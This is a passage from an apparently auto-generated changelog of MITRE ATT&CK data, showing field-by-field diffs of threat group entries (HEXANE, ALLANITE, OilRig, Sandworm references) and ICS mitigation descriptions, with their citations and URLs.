| external_references[14]['description'] | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. | NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. |
| external_references[14]['url'] | https://www.justice.gov/opa/page/file/1098481/download | https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory |
| external_references[15]['source_name'] | F-Secure BlackEnergy 2014 | USDOJ Sandworm Feb 2020 |
| external_references[15]['description'] | F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. |
| external_references[15]['url'] | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf | https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html |
| external_references[16]['source_name'] | InfoSecurity Sandworm Oct 2014 | US District Court Indictment GRU Unit 74455 October 2020 |
| external_references[16]['description'] | Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian ‘Sandworm’ Hackers. Retrieved October 6, 2017. | Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020. |
| external_references[16]['url'] | https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/ | https://www.justice.gov/opa/press-release/file/1328521/download |
| external_references[17]['source_name'] | Dragos ELECTRUM | Secureworks IRON VIKING |
| external_references[17]['description'] | Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020. | Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020. |
| external_references[17]['url'] | https://www.dragos.com/resource/electrum/ | https://www.secureworks.com/research/threat-profiles/iron-viking |
| external_references[18]['source_name'] | Secureworks IRON VIKING | UK NCSC Olympic Attacks October 2020 |
| external_references[18]['description'] | Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020. | UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020. |
| external_references[18]['url'] | https://www.secureworks.com/research/threat-profiles/iron-viking | https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games |
| x_mitre_version | 2.1 | 2.2 |
Other Version Changes
[G1001] HEXANE
Current version: 1.0
Version changed from: 1.1 → 1.0
|
|
|---|
| t | [HEXANE](https://collaborate.mitre.org/attackics/index.php/G | t | [HEXANE](https://attack.mitre.org/groups/G0005) is a threat |
| roup/G0005) is a threat group that has targeted ICS organiza | | group that has targeted ICS organization within the oil & ga |
| tion within the oil & gas, and telecommunications sectors. M | | s, and telecommunications sectors. Many of the targeted orga |
| any of the targeted organizations have been located in the M | | nizations have been located in the Middle East including Kuw |
| iddle East including Kuwait. HEXANE's targeting of telecommu | | ait. [HEXANE](https://attack.mitre.org/groups/G0005)'s targe |
| nications has been speculated to be part of an effort to est | | ting of telecommunications has been speculated to be part of |
| ablish man-in-the-middle capabilities throughout the region. | | an effort to establish man-in-the-middle capabilities throu |
| HEXANE's TTPs appear similar to [APT33](https://collaborate | | ghout the region. [HEXANE](https://attack.mitre.org/groups/G |
| .mitre.org/attackics/index.php/Group/G0003) and [OilRig](htt | | 0005)'s TTPs appear similar to [APT33](https://attack.mitre. |
| ps://collaborate.mitre.org/attackics/index.php/Group/G0010) | | org/groups/G0003) and [OilRig](https://attack.mitre.org/grou |
| but due to differences in victims and tools it is tracked as | | ps/G0010) but due to differences in victims and tools it is |
| a separate entity. (Citation: Dragos Hexane Oct 2019) | | tracked as a separate entity. (Citation: Dragos) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | ['Dragos Threat Intelligence'] |
| external_references | | https://dragos.com/resource/hexane/ |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-01-05 20:13:49.069000+00:00 | 2022-04-21 22:02:03.931000+00:00 |
| description | [HEXANE](https://collaborate.mitre.org/attackics/index.php/Group/G0005) is a threat group that has targeted ICS organization within the oil & gas, and telecommunications sectors. Many of the targeted organizations have been located in the Middle East including Kuwait. HEXANE's targeting of telecommunications has been speculated to be part of an effort to establish man-in-the-middle capabilities throughout the region. HEXANE's TTPs appear similar to [APT33](https://collaborate.mitre.org/attackics/index.php/Group/G0003) and [OilRig](https://collaborate.mitre.org/attackics/index.php/Group/G0010) but due to differences in victims and tools it is tracked as a separate entity. (Citation: Dragos Hexane Oct 2019) | [HEXANE](https://attack.mitre.org/groups/G0005) is a threat group that has targeted ICS organization within the oil & gas, and telecommunications sectors. Many of the targeted organizations have been located in the Middle East including Kuwait. [HEXANE](https://attack.mitre.org/groups/G0005)'s targeting of telecommunications has been speculated to be part of an effort to establish man-in-the-middle capabilities throughout the region. [HEXANE](https://attack.mitre.org/groups/G0005)'s TTPs appear similar to [APT33](https://attack.mitre.org/groups/G0003) and [OilRig](https://attack.mitre.org/groups/G0010) but due to differences in victims and tools it is tracked as a separate entity. (Citation: Dragos) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Group/G0005 | https://attack.mitre.org/Group/G0005 |
| external_references[1]['source_name'] | HEXANE | Dragos |
| external_references[1]['description'] | (Citation: Dragos Hexane Oct 2019) | Dragos Hexane Retrieved. 2019/10/27 |
| x_mitre_version | 1.1 | 1.0 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| aliases | HEXANE | |
| external_references | {'source_name': 'Lyceum', 'description': '(Citation: SecureWorks LYCEUM August 2019)'} | |
| external_references | {'source_name': 'Dragos Hexane Oct 2019', 'description': 'Dragos. (n.d.). Hexane. Retrieved October 27, 2019', 'url': 'https://dragos.com/resource/hexane/'} | |
| external_references | {'source_name': 'SecureWorks LYCEUM Nov 2019', 'description': 'SecureWorks. (2019, August 27). LYCEUM Takes Center Stage in Middle East Campaign. Retrieved November 19, 2019.', 'url': 'https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign'} | |
Patches
[G1000] ALLANITE
Current version: 1.0
|
|
|---|
| t | [ALLANITE](https://collaborate.mitre.org/attackics/index.php | t | [ALLANITE](https://attack.mitre.org/groups/G0009) is a suspe |
| /Group/G0009) is a suspected Russian cyber espionage group, | | cted Russian cyber espionage group, that has primarily targe |
| that has primarily targeted the electric utility sector with | | ted the electric utility sector within the United States and |
| in the United States and United Kingdom. The group's tactics | | United Kingdom. The group's tactics and techniques are repo |
| and techniques are reportedly similar to [Dragonfly](https: | | rtedly similar to [Dragonfly](https://attack.mitre.org/group |
| //collaborate.mitre.org/attackics/index.php/Group/G0002) / [ | | s/G0002) / [Dragonfly 2.0](https://attack.mitre.org/groups/G |
| Dragonfly 2.0](https://collaborate.mitre.org/attackics/index | | 0006), although [ALLANITE](https://attack.mitre.org/groups/G |
| .php/Group/G0006), although ALLANITE’s technical capabilitie | | 0009)s technical capabilities have not exhibited disruptive |
| s have not exhibited disruptive or destructive abilities. It | | or destructive abilities. It has been suggested that the gro |
| has been suggested that the group maintains a presence in I | | up maintains a presence in ICS for the purpose of gaining un |
| CS for the purpose of gaining understanding of processes and | | derstanding of processes and to maintain persistence. (Citat |
| to maintain persistence. (Citation: Dragos ALLANITE) | | ion: Dragos) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | ['Dragos Threat Intelligence'] |
| external_references | | https://dragos.com/resource/allanite/ |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-01-05 23:05:19.419000+00:00 | 2022-04-21 22:02:03.928000+00:00 |
| description | [ALLANITE](https://collaborate.mitre.org/attackics/index.php/Group/G0009) is a suspected Russian cyber espionage group, that has primarily targeted the electric utility sector within the United States and United Kingdom. The group's tactics and techniques are reportedly similar to [Dragonfly](https://collaborate.mitre.org/attackics/index.php/Group/G0002) / [Dragonfly 2.0](https://collaborate.mitre.org/attackics/index.php/Group/G0006), although ALLANITE’s technical capabilities have not exhibited disruptive or destructive abilities. It has been suggested that the group maintains a presence in ICS for the purpose of gaining understanding of processes and to maintain persistence. (Citation: Dragos ALLANITE) | [ALLANITE](https://attack.mitre.org/groups/G0009) is a suspected Russian cyber espionage group, that has primarily targeted the electric utility sector within the United States and United Kingdom. The group's tactics and techniques are reportedly similar to [Dragonfly](https://attack.mitre.org/groups/G0002) / [Dragonfly 2.0](https://attack.mitre.org/groups/G0006), although [ALLANITE](https://attack.mitre.org/groups/G0009)s technical capabilities have not exhibited disruptive or destructive abilities. It has been suggested that the group maintains a presence in ICS for the purpose of gaining understanding of processes and to maintain persistence. (Citation: Dragos) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Group/G0009 | https://attack.mitre.org/Group/G0009 |
| external_references[1]['source_name'] | ALLANITE | Dragos |
| external_references[1]['description'] | (Citation: Dragos ALLANITE) | Dragos Allanite Retrieved. 2019/10/27 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| aliases | ALLANITE | |
| external_references | {'source_name': 'Dragos ALLANITE', 'description': 'Dragon. (n.d.). Allanite. Retrieved October 27, 2019', 'url': 'https://www.dragos.com/threat/allanite/'} | |
[G0049] OilRig
Current version: 3.0
|
|
|---|
| t | [OilRig](https://attack.mitre.org/groups/G0049) is a suspect | t | [OilRig](https://attack.mitre.org/groups/G0049) is a suspect |
| ed Iranian threat group that has targeted Middle Eastern and | | ed Iranian threat group that has targeted Middle Eastern and |
| international victims since at least 2014. The group has ta | | international victims since at least 2014. The group has ta |
| rgeted a variety of sectors, including financial, government | | rgeted a variety of sectors, including financial, government |
| , energy, chemical, and telecommunications. It appears the g | | , energy, chemical, and telecommunications. It appears the g |
| roup carries out supply chain attacks, leveraging the trust | | roup carries out supply chain attacks, leveraging the trust |
| relationship between organizations to attack their primary t | | relationship between organizations to attack their primary t |
| argets. FireEye assesses that the group works on behalf of t | | argets. FireEye assesses that the group works on behalf of t |
| he Iranian government based on infrastructure details that c | | he Iranian government based on infrastructure details that c |
| ontain references to Iran, use of Iranian infrastructure, an | | ontain references to Iran, use of Iranian infrastructure, an |
| d targeting that aligns with nation-state interests. (Citati | | d targeting that aligns with nation-state interests.(Citatio |
| on: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig | | n: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Ja |
| Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: P | | n 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo |
| alo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 20 | | Alto OilRig Oct 2016)(Citation: Unit 42 Playbook Dec 2017)(C |
| 17) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUA | | itation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT |
| DAGENT July 2018) | | July 2018) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/ |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/ | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 22:04:08.941000+00:00 | 2022-04-21 15:54:58.494000+00:00 |
| description | [OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) | [OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) |
| external_references[1]['source_name'] | OilRig | IRN2 |
| external_references[1]['description'] | (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018) | (Citation: Crowdstrike Helix Kitten Nov 2018) |
| external_references[2]['source_name'] | COBALT GYPSY | OilRig |
| external_references[2]['description'] | (Citation: Secureworks COBALT GYPSY Threat Profile) | (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018) |
| external_references[3]['source_name'] | IRN2 | COBALT GYPSY |
| external_references[3]['description'] | (Citation: Crowdstrike Helix Kitten Nov 2018) | (Citation: Secureworks COBALT GYPSY Threat Profile) |
| external_references[5]['source_name'] | APT34 | Check Point APT34 April 2021 |
| external_references[5]['description'] | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021) | Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021. |
| external_references[6]['source_name'] | Palo Alto OilRig April 2017 | ClearSky OilRig Jan 2017 |
| external_references[6]['description'] | Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. | ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017. |
| external_references[6]['url'] | http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ | http://www.clearskysec.com/oilrig/ |
| external_references[7]['source_name'] | ClearSky OilRig Jan 2017 | Palo Alto OilRig May 2016 |
| external_references[7]['description'] | ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017. | Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017. |
| external_references[7]['url'] | http://www.clearskysec.com/oilrig/ | http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ |
| external_references[8]['source_name'] | Palo Alto OilRig May 2016 | Palo Alto OilRig April 2017 |
| external_references[8]['description'] | Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017. | Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. |
| external_references[8]['url'] | http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ | http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ |
| external_references[10]['source_name'] | Unit 42 Playbook Dec 2017 | Unit 42 QUADAGENT July 2018 |
| external_references[10]['description'] | Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. | Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. |
| external_references[10]['url'] | https://pan-unit42.github.io/playbook_viewer/ | https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ |
| external_references[11]['source_name'] | FireEye APT34 Dec 2017 | Crowdstrike Helix Kitten Nov 2018 |
| external_references[11]['description'] | Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. | Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018. |
| external_references[11]['url'] | https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/ |
| external_references[12]['source_name'] | Unit 42 QUADAGENT July 2018 | FireEye APT34 Dec 2017 |
| external_references[12]['description'] | Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. | Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. |
| external_references[12]['url'] | https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ | https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html |
| external_references[14]['source_name'] | Crowdstrike Helix Kitten Nov 2018 | APT34 |
| external_references[14]['description'] | Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018. | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021) |
| external_references[15]['source_name'] | Check Point APT34 April 2021 | Unit 42 Playbook Dec 2017 |
| external_references[15]['description'] | Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021. | Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. |
| external_references[15]['url'] | https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/ | https://pan-unit42.github.io/playbook_viewer/ |
Mitigations
enterprise-attack
Minor Version Changes
[M1038] Execution Prevention
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-06-20 20:11:42.195000+00:00 | 2022-02-28 19:50:41.210000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
ics-attack
Other Version Changes
[M0937] Filter Network Traffic
Current version: 1.0
Version changed from: 1.1 → 1.0
|
|
|---|
| t | Use network appliances to filter ingress or egress traffic a | t | Use network appliances to filter ingress or egress traffic a |
| nd perform protocol-based filtering. Configure software on e | | nd perform protocol-based filtering. Configure software on e |
| ndpoints to filter network traffic. Perform inline allow/den | | ndpoints to filter network traffic. Perform inline allow/d |
| ylisting of network messages based on the application layer | | enylisting of network messages based on the application laye |
| (OSI Layer 7) protocol, especially for automation protocols. | | r (OSI Layer 7) protocol, especially for automation protocol |
| Application allowlists are beneficial when there are well-d | | s. Application allowlists are beneficial when there are well |
| efined communication sequences, types, rates, or patterns ne | | -defined communication sequences, types, rates, or patterns |
| eded during expected system operations. Application denylist | | needed during expected system operations. Application denyli |
| s may be needed if all acceptable communication sequences ca | | sts may be needed if all acceptable communication sequences |
| nnot be defined, but instead a set of known malicious uses c | | cannot be defined, but instead a set of known malicious uses |
| an be denied (e.g., excessive communication attempts, shutdo | | can be denied (e.g., excessive communication attempts, shu |
| wn messages, invalid commands). Devices performing these fun | | tdown messages, invalid commands). Devices performing these |
| ctions are often referred to as deep-packet inspection (DPI) | | functions are often referred to as deep-packet inspection ( |
| firewalls, context-aware firewalls, or firewalls blocking s | | DPI) firewalls, context-aware firewalls, or firewalls blocki |
| pecific automation/SCADA protocol aware firewalls. | | ng specific automation/SCADA protocol aware firewalls. (Cita |
| | | tion: Centre for the Protection of National Infrastructure F |
| | | ebruary 2005) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:15:36.342000+00:00 | 2022-04-21 22:02:03.961000+00:00 |
| description | Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations. Application denylists may be needed if all acceptable communication sequences cannot be defined, but instead a set of known malicious uses can be denied (e.g., excessive communication attempts, shutdown messages, invalid commands). Devices performing these functions are often referred to as deep-packet inspection (DPI) firewalls, context-aware firewalls, or firewalls blocking specific automation/SCADA protocol aware firewalls. | Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations. Application denylists may be needed if all acceptable communication sequences cannot be defined, but instead a set of known malicious uses can be denied (e.g., excessive communication attempts, shutdown messages, invalid commands). Devices performing these functions are often referred to as deep-packet inspection (DPI) firewalls, context-aware firewalls, or firewalls blocking specific automation/SCADA protocol aware firewalls. (Citation: Centre for the Protection of National Infrastructure February 2005) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0937 | https://attack.mitre.org/Mitigation/M0937 |
| x_mitre_version | 1.1 | 1.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - AC-3; SC-7 |
| external_references | | {'source_name': 'Centre for the Protection of National Infrastructure February 2005', 'description': 'Centre for the Protection of National Infrastructure 2005, February FIREWALL DEPLOYMENT FOR SCADA AND PROCESS CONTROL NETWORKS Retrieved. 2020/09/17 ', 'url': 'https://www.energy.gov/sites/prod/files/Good%20Practices%20Guide%20for%20Firewall%20Deployment.pdf'} |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - AC-3; SC-7 | |
Patches
[M0801] Access Management
Current version: 1.0
|
|
|---|
| t | Access Management technologies can be used to enforce author | t | Access Management technologies can be used to enforce author |
| ization polices and decisions, especially when existing fiel | | ization polices and decisions, especially when existing fiel |
| d devices do not provided capabilities to support user ident | | d devices do not provided sufficient capabilities to support |
| ification and authentication. (Citation: NIST SP 1800-2) The | | user identification and authentication. (Citation: McCarthy |
| se technologies typically utilize an in-line network device | | , J et al. July 2018) These technologies typically utilize a |
| or gateway system to prevent access to unauthenticated users | | n in-line network device or gateway system to prevent access |
| , while also integrating with an authentication service to f | | to unauthenticated users, while also integrating with an au |
| irst verify user credentials. (Citation: CPNI Nov 2010) | | thentication service to first verify user credentials. (Cita |
| | | tion: Centre for the Protection of National Infrastructure N |
| | | ovember 2010) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-25 13:05:21.233000+00:00 | 2022-04-21 22:02:03.953000+00:00 |
| description | Access Management technologies can be used to enforce authorization polices and decisions, especially when existing field devices do not provided capabilities to support user identification and authentication. (Citation: NIST SP 1800-2) These technologies typically utilize an in-line network device or gateway system to prevent access to unauthenticated users, while also integrating with an authentication service to first verify user credentials. (Citation: CPNI Nov 2010) | Access Management technologies can be used to enforce authorization polices and decisions, especially when existing field devices do not provided sufficient capabilities to support user identification and authentication. (Citation: McCarthy, J et al. July 2018) These technologies typically utilize an in-line network device or gateway system to prevent access to unauthenticated users, while also integrating with an authentication service to first verify user credentials. (Citation: Centre for the Protection of National Infrastructure November 2010) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0801 | https://attack.mitre.org/Mitigation/M0801 |
| external_references[1]['source_name'] | NIST SP 1800-2 | McCarthy, J et al. July 2018 |
| external_references[1]['description'] | McCarthy, J et al.. (2018, July). NIST SP 1800-2 Identity and Access Management for Electric Utilities. Retrieved September 17, 2020. | McCarthy, J et al. 2018, July NIST SP 1800-2 Identity and Access Management for Electric Utilities Retrieved. 2020/09/17 |
| external_references[2]['source_name'] | CPNI Nov 2010 | Centre for the Protection of National Infrastructure November 2010 |
| external_references[2]['description'] | Centre for the Protection of National Infrastructure. (2010, November). Configuring and Managing Remote Access for Industrial Control Systems. Retrieved September 25, 2020. | Centre for the Protection of National Infrastructure 2010, November Configuring and Managing Remote Access for Industrial Control Systems Retrieved. 2020/09/25 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - AC-3 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - AC-3 | |
[M0936] Account Use Policies
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:15:21.233000+00:00 | 2022-04-21 22:02:03.953000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0936 | https://attack.mitre.org/Mitigation/M0936 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - IA-5 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - IA-5 | |
[M0915] Active Directory Configuration
Current version: 1.0
|
|
|---|
| t | Configure Active Directory to prevent use of certain techniq | t | Configure Active Directory to prevent use of certain techniq |
| ues; use SID Filtering, etc. | | ues; use security identifier (SID) Filtering, etc. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-05-29 16:34:40.344000+00:00 | 2022-04-21 22:02:03.954000+00:00 |
| description | Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc. | Configure Active Directory to prevent use of certain techniques; use security identifier (SID) Filtering, etc. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0915 | https://attack.mitre.org/Mitigation/M0915 |
[M0949] Antivirus/Antimalware
Current version: 1.0
|
|
|---|
| t | Use signatures or heuristics to detect malicious software. W | t | Use signatures or heuristics to detect malicious software. |
| ithin industrial control environments, antivirus/antimalware | | Within industrial control environments, antivirus/antimalwar |
| installations should be limited to assets that are not invo | | e installations should be limited to assets that are not inv |
| lved in critical or real-time operations. To minimize the im | | olved in critical or real-time operations. To minimize the i |
| pact to system availability, all products should first be va | | mpact to system availability, all products should first be v |
| lidated within a representative test environment before depl | | alidated within a representative test environment before dep |
| oyment to production systems.(Citation: CISA Antivirus ICS A | | loyment to production systems. (Citation: NCCIC August 2018) |
| ugust 2018) | | |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-31 13:07:15.684000+00:00 | 2022-04-21 22:02:03.955000+00:00 |
| description | Use signatures or heuristics to detect malicious software. Within industrial control environments, antivirus/antimalware installations should be limited to assets that are not involved in critical or real-time operations. To minimize the impact to system availability, all products should first be validated within a representative test environment before deployment to production systems.(Citation: CISA Antivirus ICS August 2018) | Use signatures or heuristics to detect malicious software. Within industrial control environments, antivirus/antimalware installations should be limited to assets that are not involved in critical or real-time operations. To minimize the impact to system availability, all products should first be validated within a representative test environment before deployment to production systems. (Citation: NCCIC August 2018) |
| labels[0] | NIST SP 800-53 Rev. 4 - SI-3 | IEC 62443-3-3:2013 - SR 3.2 |
| labels[1] | IEC 62443-3-3:2013 SR 3.2 | IEC 62443-4-2:2019 - CR 3.2 |
| labels[2] | IEC 62443-4-2:2019 - CR 3.2 | NIST SP 800-53 Rev. 4 - SI-3 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0949 | https://attack.mitre.org/Mitigation/M0949 |
| external_references[1]['source_name'] | CISA Antivirus ICS August 2018 | NCCIC August 2018 |
| external_references[1]['description'] | NCCIC. (2018, August 2). Recommended Practice: Updating Antivirus in an Industrial Control System. Retrieved September 17, 2020. | NCCIC 2018, August 2 Recommended Practice: Updating Antivirus in an Industrial Control System Retrieved. 2020/09/17 |
[M0913] Application Developer Guidance
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 13:48:20.652000+00:00 | 2022-04-21 22:02:03.955000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0913 | https://attack.mitre.org/Mitigation/M0913 |
[M0948] Application Isolation and Sandboxing
Current version: 1.0
|
|
|---|
| t | Restrict execution of code to a virtual environment on or in | t | Restrict the execution of code to a virtual environment on o |
| transit to an endpoint system. | | r in-transit to an endpoint system. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:17:03.851000+00:00 | 2022-04-21 22:02:03.955000+00:00 |
| description | Restrict execution of code to a virtual environment on or in transit to an endpoint system. | Restrict the execution of code to a virtual environment on or in-transit to an endpoint system. |
